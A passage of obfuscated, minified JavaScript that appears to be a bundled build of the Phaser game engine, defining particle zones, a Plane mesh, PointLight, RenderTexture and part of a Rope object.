0x0 === _0x2edbd7 && (_0x2edbd7 = 0x0), void 0x0 === _0x47dfb5 && (_0x47dfb5 = 0x0), void 0x0 === _0x4d9a18 && (_0x4d9a18 = !0x0), this['emitter'], this['x'] = _0x2edbd7, this['y'] = _0x47dfb5, this['active'] = _0x4d9a18; }, 'update': function () { }, 'destroy': function () { this['emitter'] = null; } }); _0x3de407['exports'] = _0x53e47d; }, 0x262e: _0x4c1745 => { _0x4c1745['exports'] = 'complete'; }, 0x32c: _0x1cc7e3 => { _0x1cc7e3['exports'] = 'deathzone'; }, 0x773a: _0x2747a8 => { _0x2747a8['exports'] = 'explode'; }, 0x179b7: _0x485211 => { _0x485211['exports'] = 'start'; }, 0x48f5: _0x3e7829 => { _0x3e7829['exports'] = 'stop'; }, 0x50d8: (_0x42b672, _0x22423b, _0x54031c) => { _0x42b672['exports'] = { 'COMPLETE': _0x54031c(0x262e), 'DEATH_ZONE': _0x54031c(0x32c), 'EXPLODE': _0x54031c(0x773a), 'START': _0x54031c(0x179b7), 'STOP': _0x54031c(0x48f5) }; }, 0x47e4: (_0x402b71, _0x37f1a0, _0x528841) => { _0x402b71['exports'] = { 'EmitterColorOp': _0x528841(0x12ab8), 'EmitterOp': _0x528841(0xaee9), 'Events': _0x528841(0x50d8), 'GravityWell': _0x528841(0x5fb6), 'Particle': _0x528841(0xdca0), 'ParticleBounds': _0x528841(0x10fe1), 'ParticleEmitter': _0x528841(0x7b70), 'ParticleProcessor': _0x528841(0x4f3e), 'Zones': _0x528841(0x5220) }; }, 0x6714: (_0x52344b, _0x171873, _0x1b3847) => { var _0x163c11 = new (_0x1b3847(0x145db))({ 'initialize': function (_0x3978cf, _0x16a905) { this['source'] = _0x3978cf, this['killOnEnter'] = _0x16a905; }, 'willKill': function (_0x577cfb) { var _0x1d126a = this['source']['contains'](_0x577cfb['x'], _0x577cfb['y']); return _0x1d126a && this['killOnEnter'] || !_0x1d126a && !this['killOnEnter']; } }); _0x52344b['exports'] = _0x163c11; }, 0x4dc5: (_0x538374, _0x56b6a2, _0x2c2412) => { var _0x2920f4 = new (_0x2c2412(0x145db))({ 'initialize': function (_0x538514, _0x1ef658, _0x2de7cd, _0x1aba5b, _0x18dc9b, _0x212785) { void 0x0 === _0x1aba5b && (_0x1aba5b = !0x1), void 0x0 === _0x18dc9b && (_0x18dc9b = !0x0), void 0x0 === _0x212785 && (_0x212785 = -0x1), this['source'] = _0x538514, this['points'] = [], this['quantity'] = _0x1ef658, this['stepRate'] = _0x2de7cd, this['yoyo'] = _0x1aba5b, this['counter'] = -0x1, this['seamless'] = _0x18dc9b, this['_length'] = 0x0, this['_direction'] = 0x0, this['total'] = _0x212785, this['updateSource'](); }, 'updateSource': function () { if (this['points'] = this['source']['getPoints'](this['quantity'], this['stepRate']), this['seamless']) { var _0x57aa00 = this['points'][0x0], _0x1f83a9 = this['points'][this['points']['length'] - 0x1]; _0x57aa00['x'] === _0x1f83a9['x'] && _0x57aa00['y'] === _0x1f83a9['y'] && this['points']['pop'](); } var _0x1b660b = this['_length']; return this['_length'] = this['points']['length'], this['_length'] < _0x1b660b && this['counter'] > this['_length'] && (this['counter'] = this['_length'] - 0x1), this; }, 'changeSource': function (_0x147da1) { return this['source'] = _0x147da1, this['updateSource'](); }, 'getPoint': function (_0x3a4599) { 0x0 === this['_direction'] ? (this['counter']++, this['counter'] >= this['_length'] && (this['yoyo'] ? (this['_direction'] = 0x1, this['counter'] = this['_length'] - 0x1) : this['counter'] = 0x0)) : (this['counter']--, -0x1 === this['counter'] && (this['yoyo'] ? (this['_direction'] = 0x0, this['counter'] = 0x0) : this['counter'] = this['_length'] - 0x1)); var _0x4526ad = this['points'][this['counter']]; _0x4526ad && (_0x3a4599['x'] = _0x4526ad['x'], _0x3a4599['y'] = _0x4526ad['y']); } }); _0x538374['exports'] = _0x2920f4; }, 0x10d0b: (_0x1666a3, _0x59112c, _0x216059) => { var _0x1174c9 = _0x216059(0x145db), _0xb2187e = _0x216059(0x65f3), _0x33428c = new _0x1174c9({ 'initialize': function (_0x4fd922) { this['source'] = _0x4fd922, this['_tempVec'] = new _0xb2187e(), this['total'] = -0x1; }, 'getPoint': function (_0xf066ce) { var _0xad0f6f = this['_tempVec']; this['source']['getRandomPoint'](_0xad0f6f), _0xf066ce['x'] = _0xad0f6f['x'], _0xf066ce['y'] = _0xad0f6f['y']; } }); _0x1666a3['exports'] = _0x33428c; }, 0x5220: (_0x4fd9d3, _0x44b1cf, _0x23bf59) => { _0x4fd9d3['exports'] = { 'DeathZone': _0x23bf59(0x6714), 'EdgeZone': _0x23bf59(0x4dc5), 'RandomZone': _0x23bf59(0x10d0b) }; }, 0x487: (_0x45aeba, _0x34542a, _0xef9179) => { var _0x458dcf = _0xef9179(0x145db), _0x26bba4 = _0xef9179(0x7aa9), _0x2b32a9 = _0xef9179(0x10abf), _0x35d843 = new _0x458dcf({ 'Extends': _0x2b32a9, 'Mixins': [_0x26bba4['PathFollower']], 'initialize': function (_0x49fc4f, _0x866b50, _0x2889d2, _0xcf7de3, _0x193e23, _0x39294e) { _0x2b32a9['call'](this, _0x49fc4f, _0x2889d2, _0xcf7de3, _0x193e23, _0x39294e), this['path'] = _0x866b50; }, 'preUpdate': function (_0x3eb5ce, _0x94f6e6) { this['anims']['update'](_0x3eb5ce, _0x94f6e6), this['pathUpdate'](_0x3eb5ce); } }); _0x45aeba['exports'] = _0x35d843; }, 0x16021: (_0xfb5ebe, _0x27ae4c, _0x5b54cf) => { var _0x3eaefd = _0x5b54cf(0x9a05), _0x2a5fa5 = _0x5b54cf(0x487); _0x3eaefd['register']('follower', function (_0x3c84ec, _0x225839, _0x17f6ed, _0x1fa2b3, _0x7e7358) { var _0x10c411 = new _0x2a5fa5(this['scene'], _0x3c84ec, _0x225839, _0x17f6ed, _0x1fa2b3, _0x7e7358); return this['displayList']['add'](_0x10c411), this['updateList']['add'](_0x10c411), _0x10c411; }); }, 0x837f: (_0x1cf13b, _0x5ae34d, _0x9abae0) => { var _0x15390e = _0x9abae0(0x25ca), _0x557d6d = _0x9abae0(0x145db), _0x7a92e4 = _0x9abae0(0xbea3), _0x3be39b = _0x9abae0(0x16228), _0x37b6aa = _0x9abae0(0x125f), _0x4039a1 = _0x9abae0(0xb252), _0x4b2274 = new _0x557d6d({ 'Extends': _0x37b6aa, 'initialize': function (_0x56bc2, _0x5ccbfd, _0x2668a7, _0x54a9bb, _0x123118, _0x4d487a, _0x2afe10, _0x48d5df) { _0x54a9bb || (_0x54a9bb = '__DEFAULT'), _0x37b6aa['call'](this, _0x56bc2, _0x5ccbfd, _0x2668a7, _0x54a9bb, _0x123118), this['type'] = 'Plane', this['anims'] = new _0x15390e(this), this['gridWidth'], this['gridHeight'], this['isTiled'], this['_checkerboard'] = null, this['hideCCW'] = !0x1, this['setGridSize'](_0x4d487a, _0x2afe10, _0x48d5df), this['setSizeToFrame'](!0x1), this['setViewHeight'](); }, 'originX': { 'get': function () { return 0.5; } }, 'originY': { 'get': function () { return 0.5; } }, 'setGridSize': function (_0x3401ae, _0x37d231, _0x4890cd) { void 0x0 === _0x3401ae && (_0x3401ae = 0x8), void 0x0 === _0x37d231 && (_0x37d231 = 0x8), void 0x0 === _0x4890cd && (_0x4890cd = !0x1); var _0x36d6b7 = !0x1; return _0x4890cd && (_0x36d6b7 = !0x0), this['gridWidth'] = _0x3401ae, this['gridHeight'] = _0x37d231, this['isTiled'] = _0x4890cd, this['clear'](), _0x7a92e4({ 'mesh': this, 'widthSegments': _0x3401ae, 'heightSegments': _0x37d231, 'isOrtho': !0x1, 'tile': _0x4890cd, 'flipY': _0x36d6b7 }), this; }, 'setSizeToFrame': function (_0x359130) { void 0x0 === _0x359130 && (_0x359130 = !0x0); var _0x2d0a1e = this['frame']; if (this['setPerspective'](this['width'] / _0x2d0a1e['width'], this['height'] / _0x2d0a1e['height']), this['_checkerboard'] && this['_checkerboard'] !== this['texture'] && this['removeCheckerboard'](), !_0x359130) return this; var _0x211389, _0xb8b891, _0x38f9a6 = this['gridWidth'], _0x116c0b = this['gridHeight'], _0x30d4de = this['vertices'], _0x4917b2 = _0x2d0a1e['u0'], _0x58ab1e = _0x2d0a1e['u1'], _0x44ba43 = _0x2d0a1e['v0'], _0x5584c8 = _0x2d0a1e['v1'], _0x14fdd9 = 0x0; if (this['isTiled']) { for (_0x44ba43 = _0x2d0a1e['v1'], _0x5584c8 = _0x2d0a1e['v0'], _0xb8b891 = 0x0; _0xb8b891 < _0x116c0b; _0xb8b891++)for (_0x211389 = 0x0; _0x211389 < _0x38f9a6; _0x211389++)_0x30d4de[_0x14fdd9++]['setUVs'](_0x4917b2, _0x5584c8), _0x30d4de[_0x14fdd9++]['setUVs'](_0x4917b2, _0x44ba43), _0x30d4de[_0x14fdd9++]['setUVs'](_0x58ab1e, _0x5584c8), _0x30d4de[_0x14fdd9++]['setUVs'](_0x4917b2, _0x44ba43), _0x30d4de[_0x14fdd9++]['setUVs'](_0x58ab1e, _0x44ba43), _0x30d4de[_0x14fdd9++]['setUVs'](_0x58ab1e, _0x5584c8); } else { var _0xcb04bc = _0x38f9a6 + 0x1, _0x33ab64 = _0x116c0b + 0x1, _0x945392 = _0x58ab1e - _0x4917b2, _0xe4d3c0 = _0x5584c8 - _0x44ba43, _0x3f31ff = []; for (_0xb8b891 = 0x0; _0xb8b891 < _0x33ab64; _0xb8b891++)for (_0x211389 = 0x0; _0x211389 < _0xcb04bc; _0x211389++) { var _0x50f291 = _0x4917b2 + _0x945392 * (_0x211389 / _0x38f9a6), _0x23052e = _0x44ba43 + _0xe4d3c0 * (_0xb8b891 / _0x116c0b); _0x3f31ff['push'](_0x50f291, _0x23052e); } for (_0xb8b891 = 0x0; _0xb8b891 < _0x116c0b; _0xb8b891++)for (_0x211389 = 0x0; _0x211389 < _0x38f9a6; _0x211389++) { var _0x15e919 = 0x2 * (_0x211389 + _0xcb04bc * _0xb8b891), _0x3a471b = 0x2 * (_0x211389 + _0xcb04bc * (_0xb8b891 + 0x1)), _0x171b4e = 0x2 * (_0x211389 + 0x1 + _0xcb04bc * (_0xb8b891 + 0x1)), _0x422d04 = 0x2 * (_0x211389 + 0x1 + _0xcb04bc * _0xb8b891); _0x30d4de[_0x14fdd9++]['setUVs'](_0x3f31ff[_0x15e919], _0x3f31ff[_0x15e919 + 0x1]), _0x30d4de[_0x14fdd9++]['setUVs'](_0x3f31ff[_0x3a471b], _0x3f31ff[_0x3a471b + 0x1]), _0x30d4de[_0x14fdd9++]['setUVs'](_0x3f31ff[_0x422d04], _0x3f31ff[_0x422d04 + 0x1]), _0x30d4de[_0x14fdd9++]['setUVs'](_0x3f31ff[_0x3a471b], _0x3f31ff[_0x3a471b + 0x1]), _0x30d4de[_0x14fdd9++]['setUVs'](_0x3f31ff[_0x171b4e], _0x3f31ff[_0x171b4e + 0x1]), _0x30d4de[_0x14fdd9++]['setUVs'](_0x3f31ff[_0x422d04], _0x3f31ff[_0x422d04 + 0x1]); } } return this; }, 'setViewHeight': function (_0x9983a5) { void 0x0 === _0x9983a5 && (_0x9983a5 = this['frame']['height']); var _0x2aaa30 = this['fov'] * (Math['PI'] / 0xb4); this['viewPosition']['z'] = this['height'] / _0x9983a5 / Math['tan'](_0x2aaa30 / 0x2), this['dirtyCache'][0xa] = 0x1; }, 'createCheckerboard': function (_0x22f3be, _0x30fd34, _0x2eb2e7, _0x1b79f3, _0x58528f) { void 0x0 === _0x22f3be && (_0x22f3be = 0xffffff), void 0x0 === _0x30fd34 && (_0x30fd34 = 0xff), void 0x0 === _0x2eb2e7 && (_0x2eb2e7 = 0xff), void 0x0 === _0x1b79f3 && (_0x1b79f3 = 0xff), void 0x0 === _0x58528f && (_0x58528f = 0x80); for (var _0x25144a = _0x3be39b(_0x22f3be), _0x457045 = _0x3be39b(_0x30fd34), _0x5b0e1d = [], _0x1090d8 = 0x0; _0x1090d8 < 0x10; _0x1090d8++)for (var _0x306d11 = 0x0; _0x306d11 < 0x10; _0x306d11++)_0x1090d8 < 0x8 && _0x306d11 < 0x8 || _0x1090d8 > 0x7 && _0x306d11 > 0x7 ? _0x5b0e1d['push'](_0x25144a['r'], _0x25144a['g'], _0x25144a['b'], _0x2eb2e7) : _0x5b0e1d['push'](_0x457045['r'], _0x457045['g'], _0x457045['b'], _0x1b79f3); var _0x1dbb3b = this['scene']['sys']['textures']['addUint8Array'](_0x4039a1(), new Uint8Array(_0x5b0e1d), 0x10, 0x10); return this['removeCheckerboard'](), this['setTexture'](_0x1dbb3b), this['setSizeToFrame'](), this['setViewHeight'](_0x58528f), this; }, 'removeCheckerboard': function () { this['_checkerboard'] && (this['_checkerboard']['destroy'](), this['_checkerboard'] = null); }, 'play': function (_0x48ef6c, _0x389645) { return this['anims']['play'](_0x48ef6c, _0x389645); }, 'playReverse': function (_0x2821b4, _0x196ee9) { return this['anims']['playReverse'](_0x2821b4, _0x196ee9); }, 'playAfterDelay': function (_0x5acb20, _0x25e4f7) { return this['anims']['playAfterDelay'](_0x5acb20, _0x25e4f7); }, 'playAfterRepeat': function (_0x3a2c10, _0x5a60a0) { return this['anims']['playAfterRepeat'](_0x3a2c10, _0x5a60a0); }, 'stop': function () { return this['anims']['stop'](); }, 'stopAfterDelay': function (_0x476a7a) { return this['anims']['stopAfterDelay'](_0x476a7a); }, 'stopAfterRepeat': function (_0xe111ec) { return this['anims']['stopAfterRepeat'](_0xe111ec); }, 'stopOnFrame': function (_0x1f1530) { return this['anims']['stopOnFrame'](_0x1f1530); }, 'preUpdate': function (_0x1c02fb, _0x3a252d) { _0x37b6aa['prototype']['preUpdate']['call'](this, _0x1c02fb, _0x3a252d), this['anims']['update'](_0x1c02fb, _0x3a252d); }, 'preDestroy': function () { this['clear'](), this['removeCheckerboard'](), this['anims']['destroy'](), this['anims'] = void 0x0, this['debugCallback'] = null, this['debugGraphic'] = null; } }); _0x1cf13b['exports'] = _0x4b2274; }, 0xdacf: (_0x4b0c35, _0x2e2d44, _0x4e8a8f) => { var _0x3dbab6 = _0x4e8a8f(0x62d9), _0x3ac0f2 = _0x4e8a8f(0x3303), _0x5b0aee = _0x4e8a8f(0xae3b), _0x1c61d6 = _0x4e8a8f(0x5c10), _0x1a70c3 = _0x4e8a8f(0x8952), _0x52bf11 = _0x4e8a8f(0x837f); _0x5b0aee['register']('plane', function (_0x334cae, _0x3dda78) { void 0x0 === _0x334cae && (_0x334cae = {}); var _0x2934c3 = _0x1c61d6(_0x334cae, 'key', null), _0x6fb2af = _0x1c61d6(_0x334cae, 'frame', null), _0x5b2d07 = _0x1a70c3(_0x334cae, 'width', 0x8), _0x5bdc22 = _0x1a70c3(_0x334cae, 'height', 0x8), _0x1e30c8 = _0x1a70c3(_0x334cae, 'tile', !0x1), _0x1aebb6 = new _0x52bf11(this['scene'], 0x0, 0x0, _0x2934c3, _0x6fb2af, _0x5b2d07, _0x5bdc22, _0x1e30c8); void 0x0 !== _0x3dda78 && (_0x334cae['add'] = _0x3dda78); var _0x2594f7 = _0x1a70c3(_0x334cae, 'checkerboard', null); if (_0x2594f7) { var _0x4dfc6a = _0x1a70c3(_0x2594f7, 'color1', 0xffffff), _0x5331cb = _0x1a70c3(_0x2594f7, 'color2', 0xff), _0x2bf691 = _0x1a70c3(_0x2594f7, 'alpha1', 0xff), _0x5014ad = _0x1a70c3(_0x2594f7, 'alpha2', 0xff), _0xc295e = _0x1a70c3(_0x2594f7, 'height', 0x80); _0x1aebb6['createCheckerboard'](_0x4dfc6a, _0x5331cb, _0x2bf691, _0x5014ad, _0xc295e); } return _0x3dbab6(this['scene'], _0x1aebb6, _0x334cae), _0x3ac0f2(_0x1aebb6, _0x334cae), _0x1aebb6; }); }, 0x7909: (_0x3a29bb, _0x53a549, _0x53ed0a) => { var _0x431390 = _0x53ed0a(0x837f); _0x53ed0a(0x9a05)['register']('plane', function (_0x563bfe, _0x8528ec, _0xfc0a65, _0x36813d, _0x1497e2, _0xd88e2a, _0x5a13e4) { return this['displayList']['add'](new _0x431390(this['scene'], _0x563bfe, _0x8528ec, _0xfc0a65, _0x36813d, _0x1497e2, _0xd88e2a, _0x5a13e4)); }); }, 0x139c1: (_0x1561b6, _0x409faf, _0x212d53) => { var _0x3f4648 = _0x212d53(0x145db), _0x2cb1b8 = _0x212d53(0x7aa9), _0x47aba0 = _0x212d53(0x1759b), _0x5bb1fb = _0x212d53(0x7594), _0xc0f3f4 = _0x212d53(0x8cdc), _0x5ca854 = _0x212d53(0x106cd), _0x3269ef = new _0x3f4648({ 'Extends': _0x47aba0, 'Mixins': [_0x2cb1b8['AlphaSingle'], _0x2cb1b8['BlendMode'], _0x2cb1b8['Depth'], _0x2cb1b8['Mask'], _0x2cb1b8['Pipeline'], _0x2cb1b8['PostPipeline'], _0x2cb1b8['ScrollFactor'], _0x2cb1b8['Transform'], _0x2cb1b8['Visible'], _0x5ca854], 'initialize': function (_0x29cd0a, _0x55c235, _0x544e6b, _0x3894e2, _0x42dd8c, _0x5a10a0, _0x11f9d9) { void 0x0 === _0x3894e2 && (_0x3894e2 = 0xffffff), void 0x0 === _0x42dd8c && (_0x42dd8c = 0x80), void 0x0 === _0x5a10a0 && (_0x5a10a0 = 0x1), void 0x0 === _0x11f9d9 && (_0x11f9d9 = 0.1), _0x47aba0['call'](this, _0x29cd0a, 'PointLight'), this['initPipeline'](_0xc0f3f4['POINTLIGHT_PIPELINE']), this['initPostPipeline'](), this['setPosition'](_0x55c235, _0x544e6b), this['color'] = _0x5bb1fb(_0x3894e2), this['intensity'] = _0x5a10a0, this['attenuation'] = _0x11f9d9, this['width'] = 0x2 * _0x42dd8c, this['height'] = 0x2 * _0x42dd8c, this['_radius'] = _0x42dd8c; }, 'radius': { 'get': function () { return this['_radius']; }, 'set': function (_0xa99031) { this['_radius'] = _0xa99031, this['width'] = 0x2 * _0xa99031, this['height'] = 0x2 * _0xa99031; } }, 'originX': { 'get': function () { return 0.5; } }, 'originY': { 'get': function () { return 0.5; } }, 'displayOriginX': { 'get': function () { return this['_radius']; } }, 'displayOriginY': { 'get': function () { return this['_radius']; } } }); _0x1561b6['exports'] = _0x3269ef; }, 0x9b95: (_0xbf05e2, _0x5d4ff0, _0x4f5163) => { var _0x53b45f = _0x4f5163(0x62d9), _0x55a66b = _0x4f5163(0xae3b), _0xb1c2b = _0x4f5163(0x5c10), _0x11ab55 = _0x4f5163(0x139c1); _0x55a66b['register']('pointlight', function (_0x540aea, _0x4119bc) { void 0x0 === _0x540aea && (_0x540aea = {}); var _0x208187 = _0xb1c2b(_0x540aea, 'color', 0xffffff), _0x10ecfe = _0xb1c2b(_0x540aea, 'radius', 0x80), _0x3ac394 = _0xb1c2b(_0x540aea, 'intensity', 0x1), _0x1b24cd = _0xb1c2b(_0x540aea, 'attenuation', 0.1), _0x51b2e0 = new _0x11ab55(this['scene'], 0x0, 0x0, _0x208187, _0x10ecfe, _0x3ac394, _0x1b24cd); return void 0x0 !== _0x4119bc && (_0x540aea['add'] = _0x4119bc), _0x53b45f(this['scene'], _0x51b2e0, _0x540aea), _0x51b2e0; }); }, 0x11657: (_0x263438, _0x43c712, _0x47796a) => { var _0x1ac7c1 = _0x47796a(0x9a05), _0x1247b3 = _0x47796a(0x139c1); _0x1ac7c1['register']('pointlight', function (_0x48d545, _0x334b48, _0x15f8e0, _0x47b33a, _0x559556, _0x1a3b04) { return this['displayList']['add'](new _0x1247b3(this['scene'], _0x48d545, _0x334b48, _0x15f8e0, _0x47b33a, _0x559556, _0x1a3b04)); }); }, 0x106cd: (_0x11985b, _0x3c1101, _0xe02948) => { var _0x4c7dc6 = _0xe02948(0x7433), _0x4f316a = _0x4c7dc6, _0x2f5710 = _0x4c7dc6; _0x4f316a = _0xe02948(0xe1bb), _0x11985b['exports'] = { 'renderWebGL': _0x4f316a, 'renderCanvas': _0x2f5710 }; }, 0xe1bb: (_0x17199a, _0x1e3a6d, _0x2ec0d3) => { var _0x41caf0 = _0x2ec0d3(0x164a0); _0x17199a['exports'] = function (_0x2057c2, _0x1ad4cf, _0x326776, _0xc1550b) { _0x326776['addToRenderList'](_0x1ad4cf); var _0x1d95ef = _0x2057c2['pipelines']['set'](_0x1ad4cf['pipeline']), _0x22949a = _0x41caf0(_0x1ad4cf, _0x326776, _0xc1550b)['calc'], _0x4b74f3 = _0x1ad4cf['width'], _0x12a66c = _0x1ad4cf['height'], _0x1b77a5 = -_0x1ad4cf['_radius'], _0x555ef0 = -_0x1ad4cf['_radius'], _0x5f250a = _0x1b77a5 + _0x4b74f3, _0x59c5da = _0x555ef0 + _0x12a66c, _0x3dce0a = _0x22949a['getX'](0x0, 0x0), _0x4867fa = _0x22949a['getY'](0x0, 0x0), _0x46070a = _0x22949a['getX'](_0x1b77a5, _0x555ef0), _0x32bd5c = _0x22949a['getY'](_0x1b77a5, _0x555ef0), _0x49e4f0 = _0x22949a['getX'](_0x1b77a5, _0x59c5da), _0x5bdcd1 = _0x22949a['getY'](_0x1b77a5, _0x59c5da), _0x36b1b2 = _0x22949a['getX'](_0x5f250a, _0x59c5da), _0x350543 = _0x22949a['getY'](_0x5f250a, _0x59c5da), _0x2c6c1d = _0x22949a['getX'](_0x5f250a, _0x555ef0), _0x4d3fb2 = _0x22949a['getY'](_0x5f250a, _0x555ef0); _0x2057c2['pipelines']['preBatch'](_0x1ad4cf), _0x1d95ef['batchPointLight'](_0x1ad4cf, _0x326776, _0x46070a, _0x32bd5c, _0x49e4f0, _0x5bdcd1, _0x36b1b2, _0x350543, _0x2c6c1d, _0x4d3fb2, _0x3dce0a, _0x4867fa), _0x2057c2['pipelines']['postBatch'](_0x1ad4cf); }; }, 0x24f: (_0x5b6663, _0x3e3fec, _0x1485bb) => { var _0x59dc24 = _0x1485bb(0x145db), _0x2876f9 = _0x1485bb(0x13da8), _0x2e199d = _0x1485bb(0x159fb), _0x34dbe5 = new _0x59dc24({ 'Extends': _0x2e199d, 'initialize': function (_0x1aedb6, _0x700a2e, _0x26ba1c, _0x369b6f, _0x2932af) { void 0x0 === _0x700a2e && (_0x700a2e = 0x0), void 0x0 === _0x26ba1c && (_0x26ba1c = 0x0), void 0x0 === _0x369b6f && (_0x369b6f = 0x20), void 0x0 === _0x2932af && (_0x2932af = 0x20); var _0x261dad = new _0x2876f9(_0x1aedb6['sys']['textures'], '', _0x369b6f, _0x2932af); _0x2e199d['call'](this, _0x1aedb6, _0x700a2e, _0x26ba1c, _0x261dad), this['type'] = 'RenderTexture', this['camera'] = this['texture']['camera'], this['_saved'] = !0x1; }, 'setSize': function (_0x2b210e, _0x134875) { this['width'] = _0x2b210e, this['height'] = _0x134875, this['texture']['setSize'](_0x2b210e, _0x134875), this['updateDisplayOrigin'](); var _0x34ba67 = this['input']; return _0x34ba67 && !_0x34ba67['customHitArea'] && (_0x34ba67['hitArea']['width'] = _0x2b210e, _0x34ba67['hitArea']['height'] = _0x134875), this; }, 'resize': function (_0x19728c, _0x2b0f8d) { return this['setSize'](_0x19728c, _0x2b0f8d), this; }, 'saveTexture': function (_0x2e5b88) { var _0x3e7dc3 = this['texture']; return _0x3e7dc3['key'] = _0x2e5b88, _0x3e7dc3['manager']['addDynamicTexture'](_0x3e7dc3) && (this['_saved'] = !0x0), _0x3e7dc3; }, 'fill': function (_0x3df0c2, _0x459b6e, _0x59b608, _0x41e45d, _0x5dfdb5, _0x32e578) { return this['texture']['fill'](_0x3df0c2, _0x459b6e, _0x59b608, _0x41e45d, _0x5dfdb5, _0x32e578), this; }, 'clear': function () { return this['texture']['clear'](), this; }, 'stamp': function (_0x333e89, _0x284895, _0x1740eb, _0x4c247a, _0x45775e) { return this['texture']['stamp'](_0x333e89, _0x284895, _0x1740eb, _0x4c247a, _0x45775e), this; }, 'erase': function (_0x34d570, _0x4ac993, _0x1f5e8a) { return this['texture']['erase'](_0x34d570, _0x4ac993, _0x1f5e8a), this; }, 'draw': function (_0x5cfa14, _0x44070b, _0x2934bc, _0x2a76c5, _0x4a7fa6) { return this['texture']['draw'](_0x5cfa14, _0x44070b, _0x2934bc, _0x2a76c5, _0x4a7fa6), this; }, 'drawFrame': function (_0x3cafbf, _0x551165, _0xb12d86, _0x58b9c2, _0x107ea0, _0x3a4375) { return this['texture']['drawFrame'](_0x3cafbf, _0x551165, _0xb12d86, _0x58b9c2, _0x107ea0, _0x3a4375), this; }, 'repeat': function (_0x2f42a7, _0x4fd9bb, _0x56e63e, _0x2bc8e2, _0x12cc20, _0x5c6769, _0x31e7c0, _0xee41cf, _0x1fe6f4) { return this['texture']['repeat'](_0x2f42a7, _0x4fd9bb, _0x56e63e, _0x2bc8e2, _0x12cc20, _0x5c6769, _0x31e7c0, _0xee41cf, _0x1fe6f4), this; }, 'beginDraw': function () { return this['texture']['beginDraw'](), this; }, 'batchDraw': function (_0x5b3eeb, _0x35679d, _0x2ca18e, _0x595546, _0x4c70f4) { return this['texture']['batchDraw'](_0x5b3eeb, _0x35679d, _0x2ca18e, _0x595546, _0x4c70f4), this; }, 'batchDrawFrame': function (_0x4a7287, _0x4d181d, _0x2ccdd6, _0x274ed0, _0x1ec912, _0x53b992) { return this['texture']['batchDrawFrame'](_0x4a7287, _0x4d181d, _0x2ccdd6, _0x274ed0, _0x1ec912, _0x53b992), this; }, 'endDraw': function (_0x201c44) { return this['texture']['endDraw'](_0x201c44), this; }, 'snapshotArea': function (_0x2aa582, _0x4aefc9, _0x41dd7c, _0x38e1fc, _0x58df02, _0x3c1b77, _0x223c37) { return this['texture']['snapshotArea'](_0x2aa582, _0x4aefc9, _0x41dd7c, _0x38e1fc, _0x58df02, _0x3c1b77, _0x223c37), this; }, 'snapshot': function (_0x280076, _0x34d64b, _0x2e4660) { return this['snapshotArea'](0x0, 0x0, this['width'], this['height'], _0x280076, _0x34d64b, _0x2e4660); }, 'snapshotPixel': function (_0x478cdb, _0x5e6c42, _0x219dc7) { return this['snapshotArea'](_0x478cdb, _0x5e6c42, 0x1, 0x1, _0x219dc7, 'pixel'); }, 'preDestroy': function () { this['camera'] = null, this['_saved'] || this['texture']['destroy'](); } }); _0x5b6663['exports'] = _0x34dbe5; }, 0x86bf: (_0xfe171f, _0x21c37b, _0x1242ac) => { var _0x3f66f1 = _0x1242ac(0x62d9), _0x2cc69d = _0x1242ac(0xae3b), _0x1d3fea = _0x1242ac(0x5c10), _0x4b865f = _0x1242ac(0x24f); _0x2cc69d['register']('renderTexture', function (_0x47c608, _0x162e99) { void 0x0 === _0x47c608 && (_0x47c608 = {}); var _0xbfd89f = _0x1d3fea(_0x47c608, 'x', 0x0), _0x291e75 = _0x1d3fea(_0x47c608, 'y', 0x0), _0x59362b = _0x1d3fea(_0x47c608, 'width', 0x20), _0x2e1aed = _0x1d3fea(_0x47c608, 'height', 0x20), _0x117d84 = new _0x4b865f(this['scene'], _0xbfd89f, _0x291e75, _0x59362b, _0x2e1aed); return void 0x0 !== _0x162e99 && (_0x47c608['add'] = _0x162e99), _0x3f66f1(this['scene'], _0x117d84, _0x47c608), _0x117d84; }); }, 0xec59: (_0x3472ed, _0xe988b5, _0x5238f4) => { var _0x13fafa = _0x5238f4(0x9a05), _0xb3040e = _0x5238f4(0x24f); _0x13fafa['register']('renderTexture', function (_0x49d96a, _0x5cfa72, _0x46fe60, _0x2a78d4) { return this['displayList']['add'](new _0xb3040e(this['scene'], _0x49d96a, _0x5cfa72, _0x46fe60, _0x2a78d4)); }); }, 0x12fbd: (_0x21a7de, _0x7149ab, _0x16c21c) => { var _0x31c278 = _0x16c21c(0x25ca), _0x33af79 = _0x16c21c(0x145db), _0x4e3507 = _0x16c21c(0x7aa9), _0x422b7e = _0x16c21c(0x1759b), _0x551e0b = _0x16c21c(0x8cdc), _0x57dc94 = _0x16c21c(0x9759), _0x3d6d5e = _0x16c21c(0x65f3), _0x41a024 = new _0x33af79({ 'Extends': _0x422b7e, 'Mixins': [_0x4e3507['AlphaSingle'], _0x4e3507['BlendMode'], _0x4e3507['Depth'], _0x4e3507['Flip'], _0x4e3507['Mask'], _0x4e3507['Pipeline'], _0x4e3507['PostPipeline'], _0x4e3507['Size'], _0x4e3507['Texture'], _0x4e3507['Transform'], _0x4e3507['Visible'], _0x4e3507['ScrollFactor'], _0x57dc94], 'initialize': function (_0x2f5657, _0x249858, _0x1cc487, _0x1d4c52, _0x22efc5, _0x1d0b4e, _0x530239, _0x2d2f80, _0x32ce17) { void 0x0 === _0x1d4c52 && (_0x1d4c52 = '__DEFAULT'), void 0x0 === _0x1d0b4e && (_0x1d0b4e = 0x2), void 0x0 === _0x530239 && (_0x530239 = !0x0), _0x422b7e['call'](this, _0x2f5657, 'Rope'), this['anims'] = new _0x31c278(this), this['points'] = _0x1d0b4e, this['vertices'], this['uv'], this['colors'], this['alphas'], this['tintFill'] = '__DEFAULT' === _0x1d4c52, this['dirty'] = !0x1, this['horizontal'] = _0x530239, this['_flipX'] = !0x1, this['_flipY'] = !0x1, this['_perp'] = new _0x3d6d5e(), this['debugCallback'] = null, this['debugGraphic'] = null, this['setTexture'](_0x1d4c52, _0x22efc5), this['setPosition'](_0x249858, _0x1cc487), this['setSizeToFrame'](), this['initPipeline'](_0x551e0b['ROPE_PIPELINE']), this['initPostPipeline'](), Array['isArray'](_0x1d0b4e) && this['resizeArrays'](_0x1d0b4e['length']), this['setPoints'](_0x1d0b4e, _0x2d2f80, _0x32ce17), this['updateVertices'](); }, 'addedToScene': function () { this['scene']['sys']['updateList']['add'](this); }, 'removedFromScene': function () { this['scene']['sys']['updateList']['remove'](this); }, 'preUpdate': function (_0x302898, _0x39e363) { var _0x536add = this['anims']['currentFrame']; this['anims']['update'](_0x302898, _0x39e363), this['anims']['currentFrame'] !== _0x536add && (this['updateUVs'](), 